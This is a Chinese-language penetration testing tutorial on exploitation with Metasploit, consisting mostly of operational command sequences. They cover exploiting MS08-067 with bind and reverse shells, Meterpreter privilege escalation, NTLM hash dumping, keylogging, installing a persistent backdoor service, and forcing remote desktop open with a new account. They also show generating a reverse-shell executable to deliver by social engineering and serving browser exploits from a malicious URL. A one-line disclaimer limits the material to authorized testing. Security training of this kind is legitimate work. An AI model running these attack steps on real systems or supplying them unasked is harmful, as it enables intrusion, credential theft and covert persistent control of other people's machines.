网络渗透测试(六):漏洞利用
编写漏洞利用程序(exploit) ,渗透人员需要根据目标环境的实际情况对通过公开渠道获取的exploit程序进行相应调整。有时候并非仅仅依靠官方系统的工具就能完成任务,在特殊复杂多变的环境下,需要自己进行工具的编辑来开展渗透工作,这种编辑工作的技术含量很高,而且这类工作通常都是举一反三的,建议在选择编写自己的漏洞利用程序之前,先通过公开渠道获取的漏洞利用程序练手。
文章目录
1. 漏洞检测
漏洞检测所需的安全分析技能分为以下几种:
- 编程技能
这是称职的守法黑客必须具备的基础素质。
掌握某种编程语言的基本原理和编程方法,是安全测试人员检测程序漏洞的必备技能 - 逆向工程
漏洞挖掘工作同样依赖测试人员的逆向工程技能。
这种技术分析程序的具体函数,数据结构和算法,可检测出电子,软件以及系统中潜藏的漏洞 - 熟悉检测工具
检测漏洞的工作依赖各种调试器,数据挖掘器,模糊测试数据生成器,事件检测器,代码覆盖分析器,流量分析器和内存监视器。 - 构建 exploit 和 payload 的技术实力
利用漏洞的最后一步工序就是编写漏洞的 PoC(Proof of Concept,概念验证) 程序,即shellcode。这种程序皆在使渗透测试人员在远程目标主机上执行自定义的指令。
2. 漏洞和exploit资料库
以下是一系列的网络资料库,以帮助您追踪漏洞信息或查找适用的exploit程序
资料库名称 | 网址 |
---|---|
Bugtraq SecurityFocus | securityfocus.com |
OSVDB Vulnerabilities | osvdb.org |
Packet Storm | packetstormsecurity.org |
VUPEN Security | vupen.com |
National Vulnerability Database | nvd.nist.gov |
ISS X-Force | xforce.iss.net |
US-CERT Vulnerability Notes | kb.cert.org/vuls |
US-CERT Alerts | us-cert.gov/cas/techalerts/ |
SecuriTeam | securiteam.com |
Government Security Org | governmentsecurity.org |
Secunia Advisories | securityreason.com |
Security Reason | xssed.com |
XSSed XSS-Vulnerabilities | securityvulns.com |
Security Vulnerabilities Database | sebug.net |
SEBUG | bugreport.ir |
BugReport | mediaservice.net |
MediaService Lab | mediaservice.net |
Intelligent Exploit Aggregation Network | intelligentexploit.com |
Hack0wn | hack0wn.com |
如需查看Exploit-DB提供的资料,可在主机的shell中执行下述指令
# cd /usr/share/exploitdb/
# vim files.csv
上述命令将列出Exploit-DB收录的所有exploit信息,即本机/usr/share/exploitdb/platforms/目录下的文件清单和相关描述。
如何从exploits信息中提取特定信息?
通过操作系统的 Bash指令,您可以对文本文件的输出内容进行过滤,从而筛选所需的信息。
您可以通过searchsploit指令,或者是 cat.files.csv | cut -d “,” -f3 指令检索特定的exploit。
有关shell指令的基本用法,请查阅http://tldp.org/LDP/ads/html/index.html
3. 漏洞利用程序工具集
Metasploit框架是由Ruby程序语言编写的模块化框架,具有很好的扩展性,便于渗透测试人员开发,使用定制的工具模板
Metasploit的框架可以分为三大类组成部分:库,界面和模板。
- exploit(漏洞利用程序模板):包括Poc验证程序,用于验证利用特定漏洞(exploit)的可行性
- payload(有效载荷模板):包含各种恶意程序,用于在目标系统上运行任意命令,他可能是exploit的一部分,也可能是独立编译的应用程序
- Auxiliaries(辅助工具模板):包含一系列扫描,嗅探,拨号测试,指纹识别和其他类型的安全评估程序
- Encoders(编码工具模板):在渗透测试中,这个模板用来加密有效载荷,以避免被杀毒软件,防火墙,IDS/IPS以其他类似的反恶意软件检测出来
- NOP(空操作模板):这个模板用于在shellcode中插入NOP(汇编指令)。虽然NOP不会进行实际的操作,但是在构造shellcode时可以用来暂时代替playload,形成完整的shellcode程序
3.1 MSFConsole (必会,重要技术)
MSFConsole是效率最高,功能最强大的高度集成的端界面之一
//启动msfconsole
# msfconsole
//开始使用,查看帮助
msf > help
msf > show -h
- show auxiliary:列出全部的辅助工具模板
- show exploits:列出框架下所有的漏洞利用程序
- show payloads:列出所有平台下的有效载荷。如果已经选定了一个漏洞利用程序,再使用该命令就会显示相关的载荷。例如:Windows的载荷将显示与Windows相关的漏洞利用模板
- show encoders:显示可用的编码工具模板
- show nops:显示所有可用的NOP生成程序
- show options:显示指定模板的全部设置和选项信息
- show targets:显示exploit支持的操作系统类型
- show advanced:列出所有高级配置选项,以便进行微调
常用Metasploit的控制台指令 >>>
指令 | 描述 |
---|---|
check | 在不利用漏洞的前提下,检测目标主机是否存在特定漏洞。不过,多数exploit不支持该指令 |
connect ip port | Netcat和Telnet这类连接工具的指令 |
exploit | 执行用户指定的exploit |
run | 执行用户指定的auxiliary |
jobs | 列出当前运行的全部后台模板。用户可通过有关选项终止当前运行的模板 |
route add subnet netmask sessionid | 把某个(session id指定的)会话连接到主机当作跳板使用,使它转发本机的网络流量 |
info module | 显示指定模板(exploit,auxiliary等模板)的详细信息 |
set param value | 配置当前模板的参数 |
setg param value | 设置整个框架的全局参数,这个参数会对全部exploit和auxilary模板通用 |
unset param | 是set命令的取消命令。如果清除所有变量,可使用unset all指令 |
sessions | 用于显示(-l 选项),切换(-i ID选项),终止会话(-k ID选项) |
search string | 通过模块名和描述来方便搜索 |
use module | 选择特定的渗透测试功能模板 |
unsetg param | 用于取消一个或多个全局变量 |
3.2 MSFCLI
MSFCLI和MSFConsole相似,它们不仅都采用了命令界面,而且都可在所有的线程中操作绝大多数的模板。然而,MSFCLI的自动化程度没有MSFCOnsole高
启动msfcil:
# msfcil -h
实操:
一,设置目标主机(RHOST)的IP地址
// O用于显示指定exploit的全部选项
# msfcli windows/smb/ms08_067_netapi O
// RHOST参数指定目标主机的IP地址
# msfcli windows/smb/ms08_067_netapi RHOST=192.168.0.7 P
二,选取可行的payload
设置好RHOST参数指定了目标IP之后,就应当选取可行的payload,并执行我们选取的exploit
# msfcil windows/smb/ms08_067_netapi RHOST=192.168.0.7 LHOST=192.168.0.3 PAYLOAD=windows/shell/reverse_tcp E
Ninja操练101
场景1 NMap程序进行端口扫描
使用Metasploit框架集成的NMap程序进行端口扫描,OS指纹识别,以及服务鉴定。
//...表示输入命令后控制台显示的内容,因为太长了,就用...代替,如果你上机操作,还是仔细阅读打印出来的内容为好,
//里面的信息价值很大
msf > load db_tracker
...
msf > db_nmap -T Aggressive -sV -n -O -v 192.168.0.7
上述命令如果扫描成功的话,会将扫描结果保存到当前的数据库会话中
如需查看扫描阶段识别出来的目标主机和系统服务,可单独使用 db_hosts 和 db_services 指令。
如果您单独使用NMAP程序扫描过目标主机,而且已经把扫描报告保存为XML格式的文件,那么可以使用 db_import_nmap_xml 命令把 nmap的扫描报告 导入到Metaspolit的数据库里
场景2
SNMP字符串扫描程序
这个模板可以对指定网段进行SNMP(simple network management protocal)扫描,并使用常见的团体字符对SNMP进行测试,最终显示它识别出来的SNMP设备信息
msf > search snmap
...
msf > use auxiliary/scanner/snmp/community
msf auxiliary(community) > show options
...
msf auxiliary(community) > set RHOSTS 10.2.131.0/24
...
msf auxiliary(community) > set THREADS 3
...
msf auxiliary(community) > set BATCHSIZE 10
...
msf auxiliary(community) > run
...
VNC 空密码扫描程序
这个模板将会扫描指定的网段,以搜索可以使用空密码访问的虚拟网络计算(Virtual Network Computing , VNC)服务器
msf > use auxiliary/scanner/vnc/vnc_none_auth
msf auxiliary(vnc_none_auth) > show options
msf auxiliary(vnc_none_auth) > set RHOSTS 10.4.124.0/24
...
msf auxiliary(vnc_none_auth) > run
...
IIS6 WebDAY Unicode身份验证旁路漏洞
这个模板将会扫描指定的网段,以搜索存在IIS6 WebDAV 认证旁路漏洞的主机
msf > use auxiliary/scanner/http/ms09_020_webdav_unicode_bypass
msf auxiliary(ms09_020_webdav_unicode_bypass) > show options
msf auxiliary(ms09_020_webdav_unicode_bypass) > set RHOSTS
...
msf auxiliary(ms09_020_webdav_unicode_bypass) > ser THREADS 10
...
msf auxiliary(ms09_020_webdav_unicode_bypass) > run
场景3
bind shell
bind(绑定型) shell用于提供远程shell连接。在成功利用目标主机上的安全漏洞,并且成功执行了shellcode程序以后,渗透人员可在目标主机上的特定端口上运行bind shell,以让其他主机继续控制这台主机
msf > use exploit/windows/smb/ms08_067_netapi
msf exploit(ms08_067_netapi) > show options
msf exploit(ms08_067_netapi) > set RHOST 192.168.0.7
...
msf exploit(ms08_067_netapi) > set PAYLOAD windows/shell/bind_tcp
...
msf exploit(ms08_067_netapi) > exploit
...
reverse shell
reverse(反射型) shell与绑定型(bind)shell截然不同。reverse shell不是在目标机器上绑定端口,被动地受理攻击人员的机器连接,而是采用反弹的方法,让被测主机主动地连接攻击者的IP和端口,并提供一个shell。reverse shell适用于被测主机采用NAT方式连接网络的情况,或者被测主机受防火墙保护而使渗透人员不能从外网直接访问被测主机的各种情况
下述指令可设置安装reverse shell
msf > use exploit/windows/smb/ms08_067_netapi
msf exploit(ms08_067_netapi) > set RHOST 192.168.0.7
...
msf exploit(ms08_067_netapi) > set PAYLOAD windows/shell/reverse_tcp
...
msf exploit(ms08_067_netapi) > show options
msf exploit(ms08_067_netapi) > set LHOST 192.168.0.3
...
msf exploit(ms08_067_netapi) > exploit
...
在安装reverse shell时需配置攻击装的IP(例如LHOST 192.168.0.3),而在安装(绑定型)bind shell则没有这项设置
inline payload和staged payload的区别有哪些?
inline payload属于自住型shellcode,它的shellcode和exploit都在同一个程序文件里。而staged payload在两台主机之间建立通信隧道,并通过隧道执行shellcode程序。如果对payload的文件尺寸有严格要求,那么可使用staged payload,因为它的文件尺寸比inline payload的文件小得多
Meterpreter
Meterpreter是一种先进的,隐蔽的,多功能的,可动态扩展的payload,它可在目标主机的系统内存里注入DLL(注入DLL完全不会以文件形式存在)。此外,它还支持在运行期间加载脚本和插件。默认情况下,Meterpeter shell会采用全程加密的通信方式
一,启动使用
msf > use exploit/windows/smb/ms08_067_netapi
msf exploit(ms08_067_netapi) > set RHOST 192.168.0.7
...
msf exploit(ms08_067_netapi) > show payloads
...
msf exploit(ms08_067_netapi) > set PAYLOAD windows/meterpreter/reverse_tcp
msf exploit(ms08_067_netapi) > show options
...
msf exploit(ms08_067_netapi) > set LHOST 192.168.0.3
...
msf exploit(ms08_067_netapi) > exploit
...
meterpreter > help
二,查看用户操作权限,然后通过getsystem脚本提升自己的权限为系统权限
meterpreter > getuid
...
meterpreter > use priv
meterpreter > getsystem -h
...
//上述指令为显示提升权限的各种技术,如果不启用任何选项,直使用getsystem指令将会逐一尝试各种提权技术,直到成功
//提升到系统权限为止
meterpreter > getsystem
...
meterpreter > getuid
...
meterpreter > sysinfo
...
三,获取被测主机的系统账户和密码
Windows以NTLM哈希(hash)的格式保存用户的账户信息,很多工具和技术都可以破解NTLM哈希
meterpreter > run hashdump
...
四,记录键盘输入的内容
meterpreter > getuid
...
meterpreter > ps
...
//...中显示检测到的浏览器PID进程是3172
//接下来我们把Meterpreter shell插入explorer.exe的进程(3172),以便开始记录当前用户对系统的操作
meterpreter > migrate 3172
...
meterpreter > getuid
...
meterpreter > keyscan_start
...
五,启动键盘记录程序
//开始检测键盘 dump
meterpreter > keyscan_dump
...
//结束检测键盘 stop
meterpreter > keyscan_stop
//类似地,我们可以把它注册到winlogon.exe(pid 648)进程里,获取所有账户的登录信息
通过上述操作,我们已经获取了被测主机的操作权限,但是如果目标主机安装了漏洞修复程序的补丁,我们就无法利用原有漏洞攻击有关服务或应用程序。为了避免这一情况,我们可以通过常人所说的 “后门” 服务程序维护自己对目标主机的控制。
务必要注意:
一旦在被测主机上安装了Meterpreter提供的后门服务程序,所有人都可以控制被测主机;因为这个后门服务程序不对连入的控制端进行身份
六,安装后门及调用
msf exploit(ms08_067_netapi) > exploit
...
meterpreter > ps
...
meterpreter > migrate 1544 //1544是某程序的PID号
...
meterpreter > run metsvc
...
//...中有一句结果是creating a meterpreter service on port 31337 表示31337接口被我们安装了后门
通过上述程序,我们在被测主机上安装了后面服务程序,现在可以关闭当前的meterpreter会话,在需要控制被测主机的时候,我们可以调用multi / handler中的windows/metsvc_bind_tcp payload,通过后门控制远程主机
meterpreter > exit
...
msf exploit(ms08_067_netapi) > back
msf > use exploit/multi/handler
msf exploit(handler) > set PAYLOAD windows/metsvc/metsvc_bind_tcp
...
msf exploit(handler) > set LPORT 31337
...
msf exploit(handler) > set RHOST 192.168.0.7
...
msf exploit(handler) > exploit
...
meterpreter > getuid
...
七,在目标主机上创建新的账号,并强制启用远程桌面服务
Meterpreter的getgui脚本很有用,它可开启目标主机的远程桌面功能,如需在目标主机上创建新的账号,并强制启用桌面服务,可使用下述指令
meterpreter > run getgui -u btuser -p btpass
...
//现在,我们可通过rdesktop程序登录目标主机,我们新建一个终端窗口,并在其中输入下述指令
# rdesktop 192.168.0.7:3389
请注意:如果已经破解了目标主机的账号名和密码,就不需要新建任何账户,直接指向run getgui -e 命令启用远程桌面就可以了。另外,在完成渗透工作之后,记得要在Meterpreter shell 里使用getgui / clean_up 脚本程序,以清理程序
如果目标网络不可从外部直接访问,那么应该采取哪些手段进一步渗透该网络?
Metasploit能够通过跳板进行操作,您可通过route add targetSubnet targetSubnetMask SessionId的指令,将某个会话指定为跳板。
此处SessionId指代已经建立的Meterpreter会话(即跳板网关),targetsubnet参数指代下一步需要测试的网段(如果被攻陷的主机是双网设备,则可以是它的另一个网段)。Metasploit会通过跳板转发指定的网络流量,这样就可以继续渗透,测试那些无法直接访问到的网络设备。转发流量的主机,就是通常所说的 “跳板” 或 “立足点”
场景4
生成后门程序
Metasploit的msfpayload工具能够生成可单独运行的,执行指定Metasploit payload的后门程序。如果只能采取社会工程学手段对目标进行渗透,那么这种手段就真是救命稻草了
msfpayload程序可以生成多种语言的程序,输出Perl,C,Raw,Ruby,Javascript,Exe,DLL和VBA等格式的文件
//查看帮助
# msfpayload -h
//简单使用创建一个带有reverse shell payload的可执行程序
# msfpayload windows/shell_reverse_tcp LHOST=192.168.0.3 LPORT=33333 O
...
# msfpayload windows/shell_reverse_tcp LHOST=192.168.0.3 LPORT=33333 X
>/tmp/poker.exe
...
这样我们就生成了自己的后门程序,在把它发送到受害人或目标之前,您必须在MSFConsole里使用multi / handler做好服务端的准备,以便它可受理可执行文件连入本机的请求。这个时候,要使multi / handler的配置和msfpayload在创建程序时的配置相匹配
msf > use exploit/multi/handler
msf exploit(handler) > set PAYLOAD windows / shell_reverse_tcp
...
msf exploit(handler) > show options
...
msf exploit(handler) > set LHOST 192.168.0.3
...
msf exploit(handler) > set LPORT 33333
...
msf exploit(handler) > exploit
...
现在,我们把准备好得WIndows可执行文件通过社会工程学欺骗方法发送给目标机器,然后等待对方运行
Metasploit生成的文件能否规避杀毒软件的检测 ?
4. 自动化浏览器漏洞利用
在测试较为安全的企业网络时,渗透人员往往不知从何处入手。在这种情况下,以使用电子设备的人员为目标,或以员工为首要目标开展社会工程学攻击可能是唯一方向。
4.1 Browser autopwn
在目标人员访问它构建的恶意URL的情况下,它能识别出主机的浏览器类型,并根据识别结果自动从框架中选用针对浏览器的exploit程序对浏览器发起攻击
msf > use auxiliary/server/browser_autopwn
msf auxiliary(browser_autopwn) > show options
...
msf auxiliary(browser_autopwn) > set LHOST 192.168.0.3
...
msf auxiliary(browser_autopwn) > set SRVPORT 80
...
msf auxiliary(browser_autopwn) > set SRVHOST 192.168.0.3
...
msf auxiliary(browser_autopwn) > set URIPATH /
...
msf auxiliary(browser_autopwn) > run
...
一旦目标人员访问了恶意URL(http://192.168.0.3),程序将会是被出他的 / 她的浏览器,并执行相应的漏洞利用程序。在此之后,我们就可以通过客户端利用程序渗透目标主机
...
msf auxiliary(browser_autopwn) > sessions
...
msf auxiliary(browser_autopwn) > sessions -i 1
...
meterpreter > getuid
...
然后就成功利用客户端的攻击程序渗透到目标主机中。
应当指出的是,这些Web浏览器的exploit程序,每个都只能对特定版本的特定浏览器(例如IE ,Firefox ,Opera等)进行攻击
5. 编写漏洞利用模板
太难了这个,略…
声明
本测试仅供学习交流所用,不得在未经被测方有效法律允许的情况下擅自测试